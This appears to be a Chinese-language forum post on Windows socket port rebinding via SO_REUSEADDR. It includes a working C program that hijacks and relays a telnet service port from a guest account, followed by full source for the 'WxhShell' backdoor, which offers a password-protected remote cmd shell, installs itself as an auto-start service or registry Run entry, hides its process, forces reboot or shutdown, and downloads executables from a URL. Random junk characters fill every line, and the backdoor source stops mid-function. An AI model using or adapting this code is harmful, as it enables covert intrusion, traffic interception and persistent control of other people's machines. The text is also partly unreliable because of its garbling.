在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m~5 unB9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
gns}%\, (<r)xkn saddr.sin_family = AF_INET;
tg@61V?> . s9E
+1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A{
~D_q y\Aa;pL)RQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
< j:\;mi; 12z!{k7N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
oj -
`G [j-?) 这意味着什么?意味着可以进行如下的攻击:
*,4rYb7I w $G`CXhbl 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\ s aV8U7B wn5OgXxG< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"D
_r</b =^rt?F4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x*7A33@i "-$}GUK?Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.Qx5,)@9 M5ZH6X@5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
x.*^dM@V Q38+`EhLA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ng3ZK VKDOM0{V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P}}G9^ 9?H$0xZV #include
SYYx>1;8` #include
^)~Smj^d #include
Wp>t\S~N #include
'vd&r@N DWORD WINAPI ClientThread(LPVOID lpParam);
5G}4z>-]F) int main()
fA6IW(_bi {
{&n- @$? WORD wVersionRequested;
zsXgpnlHT DWORD ret;
F<,pAxl~@ WSADATA wsaData;
3p=Xv%xd BOOL val;
T;92M}\ SOCKADDR_IN saddr;
uaF-3 SOCKADDR_IN scaddr;
K<e
#y! int err;
yMz#e0k SOCKET s;
R%WY!I8C SOCKET sc;
fWmc$r5n]( int caddsize;
}#FV{C] HANDLE mt;
wuH*a3( DWORD tid;
wHj1+W wVersionRequested = MAKEWORD( 2, 2 );
$&as5z8 err = WSAStartup( wVersionRequested, &wsaData );
._G,uP$ if ( err != 0 ) {
%^@l5h.lqB printf("error!WSAStartup failed!\n");
^YLC {V return -1;
5v)^4(
) }
,%TBW,> saddr.sin_family = AF_INET;
r >'tE7W9 o}v<~v( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~#sD2b`0 U3{<+vSR` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z<i}XCE saddr.sin_port = htons(23);
v0\l~_|H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{$z54nvw$ {
1%+-}yo< printf("error!socket failed!\n");
qSvV|G return -1;
qLmzA@Cv }
m
!*F5x val = TRUE;
UH!(`Z\C //SO_REUSEADDR选项就是可以实现端口重绑定的
W~
~' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]%Eh" {
G?$@6 printf("error!setsockopt failed!\n");
YCbvCw$Ob return -1;
:*}Q/]N }
=x8[%+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
61S;M8tNv //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y"mFUW4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%
"(&a'B ~bZ$ d{o^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G4@r_VP \ {
*D?_,s ret=GetLastError();
"U}kp#) printf("error!bind failed!\n");
<N vw*yA return -1;
Vgm'&YT }
IEhD5? listen(s,2);
j L|6i-?! while(1)
=
wD#H@ h {
L
BbST! caddsize = sizeof(scaddr);
G,)zn9X //接受连接请求
ai_ve[A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o]<Z3) if(sc!=INVALID_SOCKET)
Ol>q(-ea {
PFJ$Ia| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
axnlI*! if(mt==NULL)
KoERg&fY {
pp@
Owpb printf("Thread Creat Failed!\n");
V'i-pn2gyu break;
H>CbMz1u }
=Wcvb?;* }
7_I83$p' CloseHandle(mt);
l8oaDL\f }
[Z$H<m{c- closesocket(s);
B7 s{yb WSACleanup();
D~C'1C&W return 0;
Y*NzY*V\ }
VE+H! ob
A DWORD WINAPI ClientThread(LPVOID lpParam)
uV5uZ {
<8:h%%$? SOCKET ss = (SOCKET)lpParam;
<F7a!$zQ SOCKET sc;
\l59/ZFan unsigned char buf[4096];
uN`/&_$c SOCKADDR_IN saddr;
8qyEHUN2q long num;
YbZbA >| DWORD val;
0fOhCxtL@ DWORD ret;
8%9 C<+.R //如果是隐藏端口应用的话,可以在此处加一些判断
/.SG? 5t4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
MKBDWLCB saddr.sin_family = AF_INET;
1@|+l!rYF saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
j.q}OK saddr.sin_port = htons(23);
AQ'%}(#0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
I){4MoH. {
,P a*; o\ printf("error!socket failed!\n");
J'%i?cuV return -1;
O <Rh[Aqn }
`==l2AX val = 100;
yD3}USw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
U ]<l-~| {
` g] ret = GetLastError();
G=:/v return -1;
yNvAT>H }
sT)>Vdwf_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Tc^
0W=h {
*~^63Nx! ret = GetLastError();
0>{ ]* return -1;
uVEJV |^/ }
27SHj9I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
hN3FH#YO {
I8bM-k):9R printf("error!socket connect failed!\n");
XFS~ closesocket(sc);
^QS`H@+Z closesocket(ss);
l)NkTZ<] return -1;
+M-tYE
5n }
2{=]Pf while(1)
]E/0iM5 {
1iF=~@Nz_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pe_O( //如果是嗅探内容的话,可以再此处进行内容分析和记录
"Vp
nr +6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9B0ON*` num = recv(ss,buf,4096,0);
.!o]oM
U/ if(num>0)
4#IT" i send(sc,buf,num,0);
2VN].t: else if(num==0)
#gC[L=01 break;
?EFRf~7JP num = recv(sc,buf,4096,0);
H!IVbL`a{ if(num>0)
9#z$GO|< send(ss,buf,num,0);
^-"Iwy else if(num==0)
>$D!mraih break;
/yI4;:/ }
A6]:BuP;c closesocket(ss);
jqaX|)8|$ closesocket(sc);
m'"r<]pB*4 return 0 ;
CTNL-> }
,U\s89 $?56 i4 t{>K).' ==========================================================
cfIC(d ;I4vPh5Q 下边附上一个代码,,WXhSHELL
e8vy29\S p~w] ~\ ==========================================================
'ZF6 Z9 [^"*I.Z_ #include "stdafx.h"
$S#Z>d*1! 4A2}3$c9 #include <stdio.h>
\ptO4E #include <string.h>
YmC}q20; #include <windows.h>
CP7Fe{P #include <winsock2.h>
_KM?
?& #include <winsvc.h>
}B-$} #include <urlmon.h>
30sJ"hF9 QD@O!};
T #pragma comment (lib, "Ws2_32.lib")
?\Z pVL<> #pragma comment (lib, "urlmon.lib")
MH.+pqIv^ 6m_mma_,& #define MAX_USER 100 // 最大客户端连接数
aF
2vgE\ #define BUF_SOCK 200 // sock buffer
lx+;<la #define KEY_BUFF 255 // 输入 buffer
H,%bKl# FSM M #define REBOOT 0 // 重启
Ph=NH8 #define SHUTDOWN 1 // 关机
l2LQV]l :Qge1/ #define DEF_PORT 5000 // 监听端口
FOG{dio x$d[Ovw- #define REG_LEN 16 // 注册表键长度
\foThLx #define SVC_LEN 80 // NT服务名长度
bN_e~ z )k(K/m // 从dll定义API
__g?xw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
1
m'.wh| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6\7c: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
MZt#T+b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
UVw^t+n TanWCt4r // wxhshell配置信息
ZO%^r%~s struct WSCFG {
xrg"/?84 int ws_port; // 监听端口
bYP8 char ws_passstr[REG_LEN]; // 口令
AY52j int ws_autoins; // 安装标记, 1=yes 0=no
SMZ*30i char ws_regname[REG_LEN]; // 注册表键名
1X)#iY char ws_svcname[REG_LEN]; // 服务名
Tksv7*5$ char ws_svcdisp[SVC_LEN]; // 服务显示名
ZH
Q?{" char ws_svcdesc[SVC_LEN]; // 服务描述信息
rnK]3Ust char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Wr[LC& int ws_downexe; // 下载执行标记, 1=yes 0=no
?g ,s<{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!gkr?yhE char ws_filenam[SVC_LEN]; // 下载后保存的文件名
77M!2S_E x:)H Ii q/ };
ql@2<V{ dUv@u!}B // default Wxhshell configuration
J,W$\V]p struct WSCFG wscfg={DEF_PORT,
$+WXM$N "xuhuanlingzhe",
X;!*D 1,
s&E,$|80 "Wxhshell",
}uIQ@f` "Wxhshell",
?2"g*Bak "WxhShell Service",
jemb/:E "Wrsky Windows CmdShell Service",
5ngs1ZF@ "Please Input Your Password: ",
.eN"s' 1,
#mU\8M, "
http://www.wrsky.com/wxhshell.exe",
AW r2Bv "Wxhshell.exe"
|5vJ:'` I };
hrKeOwKHU _#K|g#p5 // 消息定义模块
}n&nuaj char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"bej#'M# char *msg_ws_prompt="\n\r? for help\n\r#>";
+t,b/K(?] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I%.nPOQ 8 char *msg_ws_ext="\n\rExit.";
P*"c!Dn char *msg_ws_end="\n\rQuit.";
"_UnN}Uk char *msg_ws_boot="\n\rReboot...";
j/TnKO char *msg_ws_poff="\n\rShutdown...";
51ViJdZ char *msg_ws_down="\n\rSave to ";
j&
7>ph ;!HQ!#B char *msg_ws_err="\n\rErr!";
sK%b16# char *msg_ws_ok="\n\rOK!";
$ #!oejLD gOg7:VPG char ExeFile[MAX_PATH];
]C^ #)7 int nUser = 0;
CG%bZco(( HANDLE handles[MAX_USER];
mPA)G,^ int OsIsNt;
GSRf/::I}4 M
%,\2!$ SERVICE_STATUS serviceStatus;
q;9X8 _ SERVICE_STATUS_HANDLE hServiceStatusHandle;
p.:|Z-W$ &W>\Vl1 // 函数声明
f hK<P_} int Install(void);
;SXkPs3q int Uninstall(void);
"7sv@I_j int DownloadFile(char *sURL, SOCKET wsh);
BQfnoF int Boot(int flag);
QI[WXxp void HideProc(void);
uT]$R int GetOsVer(void);
4]1/{</B| int Wxhshell(SOCKET wsl);
6?,qysm06 void TalkWithClient(void *cs);
SXsszb:_ int CmdShell(SOCKET sock);
_!2lnJ4+5 int StartFromService(void);
|4DN2P
int StartWxhshell(LPSTR lpCmdLine);
pS8\ B E#P#{_BR^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
w#1BHx VOID WINAPI NTServiceHandler( DWORD fdwControl );
}h1BAKg {eU>E/SQ // 数据结构和表定义
p@78Xmu?q SERVICE_TABLE_ENTRY DispatchTable[] =
,xU#uyB {
vs8[352 {wscfg.ws_svcname, NTServiceMain},
E0qJ.v {NULL, NULL}
3sV$#l P };
=RUy4+0>F F+Kju2 // 自我安装
HxK'u4I int Install(void)
7s%D(;W_Mo {
3z0Bg char svExeFile[MAX_PATH];
QV."ZhL5 = HKEY key;
KF&8l/f strcpy(svExeFile,ExeFile);
npeL1zO-$ O$z"`'&j# // 如果是win9x系统,修改注册表设为自启动
d %}?%VH if(!OsIsNt) {
$/^Y(0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GQg
2!s( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DvhFCA}z RegCloseKey(key);
1[OY -G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"#Z e3Uy\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:[l}Bb, RegCloseKey(key);
$-DW+|p.?^ return 0;
zji9\ }
eLT3b6'"? }
ty!DMg# }
6\l F else {
Q:)4 nGGw(6c%> // 如果是NT以上系统,安装为系统服务
VP< zOk7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6MOwn*%5k if (schSCManager!=0)
2L^/\!V# {
e3n^$'/\r SC_HANDLE schService = CreateService
&LM@xt4"^[ (
\ MuKS4 schSCManager,
#HL$`&m wscfg.ws_svcname,
EE09 Er%\ wscfg.ws_svcdisp,
MZVbOcSAd SERVICE_ALL_ACCESS,
bBINjs8C_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~~Cd9Hzi SERVICE_AUTO_START,
Kez0Bka SERVICE_ERROR_NORMAL,
fV9+FOZn svExeFile,
2KXFXR NULL,
&2:WezDF NULL,
w*'DlP<7 NULL,
gD%o0jt" NULL,
.z
CkB86 NULL
^Zs^ );
=l2 @'Y Q if (schService!=0)
dw#pObH|` {
HziQ%QR CloseServiceHandle(schService);
YeJTB} CloseServiceHandle(schSCManager);
`!N.1RP _ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,PpVZq~ strcat(svExeFile,wscfg.ws_svcname);
Y<^Or if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Up-^km RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yo5-x"ze RegCloseKey(key);
/p;OZf] return 0;
4Tuh]5 }
k'.cl^6Z8 }
bPV}T` CloseServiceHandle(schSCManager);
e8SAjl"} }
UptKN|S&V }
wR 2`*.O Nba1!5:M return 1;
hRKJKQ@7 }
-=
c&K& S]E|a@kD3 // 自我卸载
R(>
oyxA[F int Uninstall(void)
5 3+C;]J {
ixy:S1pI HKEY key;
y[f%0*\B l [ m_<1L if(!OsIsNt) {
@0:Eg 1- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[C
ezz5 RegDeleteValue(key,wscfg.ws_regname);
U0|wC,7" RegCloseKey(key);
<_8eOL<X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1Xcj=I-4 RegDeleteValue(key,wscfg.ws_regname);
Ai%Wt- RegCloseKey(key);
!
.Pbbs% return 0;
H5vg s2R }
*` - }
q%s<y+ }
,o2x,I else {
9u^za!pE U2Siw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZdhA:}~^E if (schSCManager!=0)
)fuAdG {
4,`t9f^: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j0cB#M44 if (schService!=0)
FKtCUq,: {
CW@EQ3y0 if(DeleteService(schService)!=0) {
W)2k>cS CloseServiceHandle(schService);
KVC18"|f CloseServiceHandle(schSCManager);
aB&a#^5CI return 0;
9nd,8Nji }
N+UBXhh CloseServiceHandle(schService);
oj6=. }
\J~@r1 CloseServiceHandle(schSCManager);
7CU<R9Kl }
BMzS3;1_ }
FLumI-se! 8N<2RT8W return 1;
.4z_ohe }
gf;B&MM6 fob.?ID-; // 从指定url下载文件
NmNj0& int DownloadFile(char *sURL, SOCKET wsh)
>.gT9 {
_y [B/C,q HRESULT hr;
#cl|5jm+m# char seps[]= "/";
V#&S&dn char *token;
Y,KSr|vG char *file;
q\s>Oe6$ char myURL[MAX_PATH];
1N.weey}W char myFILE[MAX_PATH];
27JZwlzZ i:R_g] strcpy(myURL,sURL);
i1qmFvksl token=strtok(myURL,seps);
b5
AP{
# while(token!=NULL)
2ak*aI {
|@D%y& file=token;
CrGDo9JdvT token=strtok(NULL,seps);
U4NA'1yo }
+ VhD]! {bNKyT GetCurrentDirectory(MAX_PATH,myFILE);
n7#}i2: strcat(myFILE, "\\");
R4f_Kio strcat(myFILE, file);
G7#<Jo<8 send(wsh,myFILE,strlen(myFILE),0);
.A6Jj4`- send(wsh,"...",3,0);
?Ql<s8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|dqAT . if(hr==S_OK)
K}dvXO@=|c return 0;
D<4cpH else
.L3D] return 1;
&K"qnng/y lt C }
>{h/4T@ /a-OBU // 系统电源模块
3jM+j_nR int Boot(int flag)
$Ehe8,=fj {
dEoW8 M# HANDLE hToken;
' '|R$9\@ TOKEN_PRIVILEGES tkp;
r[&/*~xL |HTTTz9R. if(OsIsNt) {
O=}jg0k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
C/z 0/mk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KupQtT< tkp.PrivilegeCount = 1;
{@67'jL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
PAjH*5IA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=.q8*7UY if(flag==REBOOT) {
Hc-68]T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
RZ9chTX/ return 0;
\avgXndI }
8Dc'"3+6 else {
nxx&aq(._ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
m@c\<-P return 0;
Ix+\oq,O }
>f~y2YAr }
c ^+{YH;k else {
}C{wGK+o[ if(flag==REBOOT) {
-]Q6Ril if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Xa=oEG return 0;
I#:4H2H6 }
-*0U&]T else {
|s[k= /~" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UV)!zgP return 0;
vt2A/9_Z% }
j
!rQa^ }
":Ll.=! kKNrCv@64d return 1;
0bI}
s`sr }
y[~w2a&+ l%xjCuuhU // win9x进程隐藏模块
gY!#=?/S void HideProc(void)
d7!, {
#s]` jdc H.s:a#l? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W"H*Ad(V if ( hKernel != NULL )
v^Pjvv = {
LLW\1 cxi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
N:e5=;6s ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5|bc*iqU FreeLibrary(hKernel);
Q$=X
?{ }
$n9Bp'< {-e|x&- return;
3q$"`w }
]=T-Cv=t A{KF<Omu // 获取操作系统版本
i| OG#PsY- int GetOsVer(void)
UNKr
FYl {
/UPe@ OSVERSIONINFO winfo;
YhFd0A?] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0%GQXiy GetVersionEx(&winfo);
^@n?& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
85]3y%f9 return 1;
T!Eyq,] else
"~ eF%}. return 0;
`\#J&N }
!6:X] yM*f}S/
( // 客户端句柄模块
rIZ^ix-N int Wxhshell(SOCKET wsl)
).9m6.%Uk {
-jQMh SOCKET wsh;
4 .d~u@= struct sockaddr_in client;
V/,F6
DWORD myID;
N3QDPQ *Bm
_ while(nUser<MAX_USER)
t7qY!S ( {
8UN7(J int nSize=sizeof(client);
I`FqZw wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
DE _<LN
if(wsh==INVALID_SOCKET) return 1;
h}cR>
7C@%1kL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"3X~BdH&J if(handles[nUser]==0)
KO5! (vi@ closesocket(wsh);
k_hs g6Ur. else
Q"=$.M~ nUser++;
a!Ht81gj }
[BzwQ 4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YVS~|4hu?i SdQ"S-H return 0;
!;s5\91 }
t*{BN>B r*XEne // 关闭 socket
~_Q1+ax} void CloseIt(SOCKET wsh)
aX{i {
g6~B|?! closesocket(wsh);
'n4$dv%q nUser--;
X4Y!Z/b ExitThread(0);
}0z]sYI }
t}q\. AI\|8[kf0 // 客户端请求句柄
s2ixiv= void TalkWithClient(void *cs)
c&a.<e3mL {
b?{ \t; < k?jt SOCKET wsh=(SOCKET)cs;
?kKr/f4N char pwd[SVC_LEN];
EsKOzl[c: char cmd[KEY_BUFF];
Hklgf char chr[1];
>%{H>?Hn int i,j;
uKE?VNC] RDWUy(iX while (nUser < MAX_USER) {
t1MK5B5jH N#zh$0!8bJ if(wscfg.ws_passstr) {
MiB}10 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~gJJ@j 0n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<b$.{&K //ZeroMemory(pwd,KEY_BUFF);
C3>`e3v i=0;
nb ,+!)+ while(i<SVC_LEN) {
%AnqT|\#, :#&Y // 设置超时
;>Q.r{P fd_set FdRead;
8-cCWoc struct timeval TimeOut;
ZI/Ia$O FD_ZERO(&FdRead);
oQ"J>`', FD_SET(wsh,&FdRead);
~|5B TimeOut.tv_sec=8;
#<EMG|&( TimeOut.tv_usec=0;
>0Gdxj]\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
bL9vjD'} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;'~GuZ#I 9E-]S'Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
r;
pS_PV pwd
=chr[0]; [OK(
if(chr[0]==0xd || chr[0]==0xa) { W5_aS2$
pwd=0; VYC$Q;Z
break; @^UnrKSd
} l11+sqg
i++; C|hD^m
} 1}Mdo&:t
fA{t\
// 如果是非法用户,关闭 socket .tH[A[/1 a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tj
v)jD
} ]mSkjKw
t],5{UF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z/~7N9?m(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cH>3|B*y
YR/%0^M'0
while(1) { 6h%_\I.Z[[
+o[-ED
ZeroMemory(cmd,KEY_BUFF); Bq4^nDK
g886RhCe
// 自动支持客户端 telnet标准
I("lGY
j=0; ZxvBo4>tH
while(j<KEY_BUFF) { Kdr7JQYzuz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ia!B8$$'RP
cmd[j]=chr[0]; .Qz412
if(chr[0]==0xa || chr[0]==0xd) { Wd<|DmSy
cmd[j]=0; 5,Hj$v7fe
break; >IFqwh7b
} : 7Jpt3
j++; %=EN 3>,
} kK&M>)&o#
"-afHXED
// 下载文件 (HD8Mm
if(strstr(cmd,"http://")) { -jdhdh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Mb<.R3
if(DownloadFile(cmd,wsh)) i}E&mv'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +fRABY5C
else Wi%e9r{hU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rS&"UH?c7
} `m7w%J.> n
else { |(77ao3
Iq["(!7E5
switch(cmd[0]) { SL ) ope
i4s_:%+
// 帮助 eb#p-=^KP
case '?': { +u\kTn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8LH\a.>
break; )Lb?ZXT3
} }K'gjs/N;
// 安装 |rr<4>)X
case 'i': { %]1.)j
if(Install()) vtu!* 7m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X5w_ }Nhe
else ])tUXU>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }{y(&Oy3Y
break; 7*I:cga
} )p!.V(,
// 卸载 OLs<]0H
case 'r': { K);)$8K
if(Uninstall()) 3GVS-?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yhG%@vSq
else odsLFU(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,6AnuA
break; U *K6FWqiB
} V AnP3:
// 显示 wxhshell 所在路径 -~=?g9fGm6
case 'p': { (T 8In
char svExeFile[MAX_PATH]; MR3\7D+9y
strcpy(svExeFile,"\n\r"); 3$f+3/l
strcat(svExeFile,ExeFile); $rV4JROb
send(wsh,svExeFile,strlen(svExeFile),0); pr?k~Bn
break; >_'0 s
} I3,0vnE@
// 重启 rm?C_
case 'b': { UVlh7w jg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8_:j.(n
if(Boot(REBOOT)) Jk>!I\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<:gNWXd\
else { e<+$E%"7hS
closesocket(wsh); Rx,5?*b$
ExitThread(0); g)L<xN8
} [M/0 Qx[,
break; f(UB$^4
} ^{{0ajI9C
// 关机 57(5+Zme
case 'd': { =lZtI6tZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x +]ek
if(Boot(SHUTDOWN)) =Vat2'>+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |A, <m#C
else { %n@ ^$&,&;
closesocket(wsh); Y?#aUQc
ExitThread(0); vTsMq>%,<
} 8.ej65r*
break; J?"v;.K|hU
} X+[h]A
// 获取shell ^d@ME<mb
case 's': { ifI0s)Pn
CmdShell(wsh); Jt(RF*i
closesocket(wsh); S8k<}5
ExitThread(0); 9 .18E(-
break; & N.]8x5A
}
-^ R?O
// 退出 )K!!Zq3;|
case 'x': { iiLDl
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {M
^5w
CloseIt(wsh); Bg.
break; Uu[dx}y
} \5P 5N]]
// 离开 x T1MW
case 'q': { X4CiVV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3Pgld*i7
closesocket(wsh); ^y.|KA3[
WSACleanup(); !S#K6:
exit(1); LARMZoyi
break; k@P?,r
} LZ}m;
} p\22_m_wd
} ;pt.)5
hV}C.- 6h
// 提示信息 zK>}x=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h@CP
} ^;'FC vd
} Xmw%f[Xl
Jp"[` m
return; aNUMF
} p}p}!M|
Vl/fkd,Z
// shell模块句柄 3FG'A[x3O
int CmdShell(SOCKET sock) rEwd76?
{ 95mwDHbA
STARTUPINFO si; ]jSRO30H3<
ZeroMemory(&si,sizeof(si)); j~Mx^ivwj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *:?XbtIK u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `_e5pW=:>
PROCESS_INFORMATION ProcessInfo; 2$b JMx>
char cmdline[]="cmd";
[L=M=;{4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @k9n 0Qe|F
return 0; z:oi@q
} n{(,r'
^G14Z5.
// 自身启动模式 <9]J/w+
int StartFromService(void) eCjyx|:J
{ 1EWskmp
typedef struct K"cV7U rE
{ :Q ?p^OC
DWORD ExitStatus; j[4l'8Ek
DWORD PebBaseAddress; Uc9hv?
DWORD AffinityMask; E&dxM{`
DWORD BasePriority; V3<#_:;
ULONG UniqueProcessId; 8&SWQ
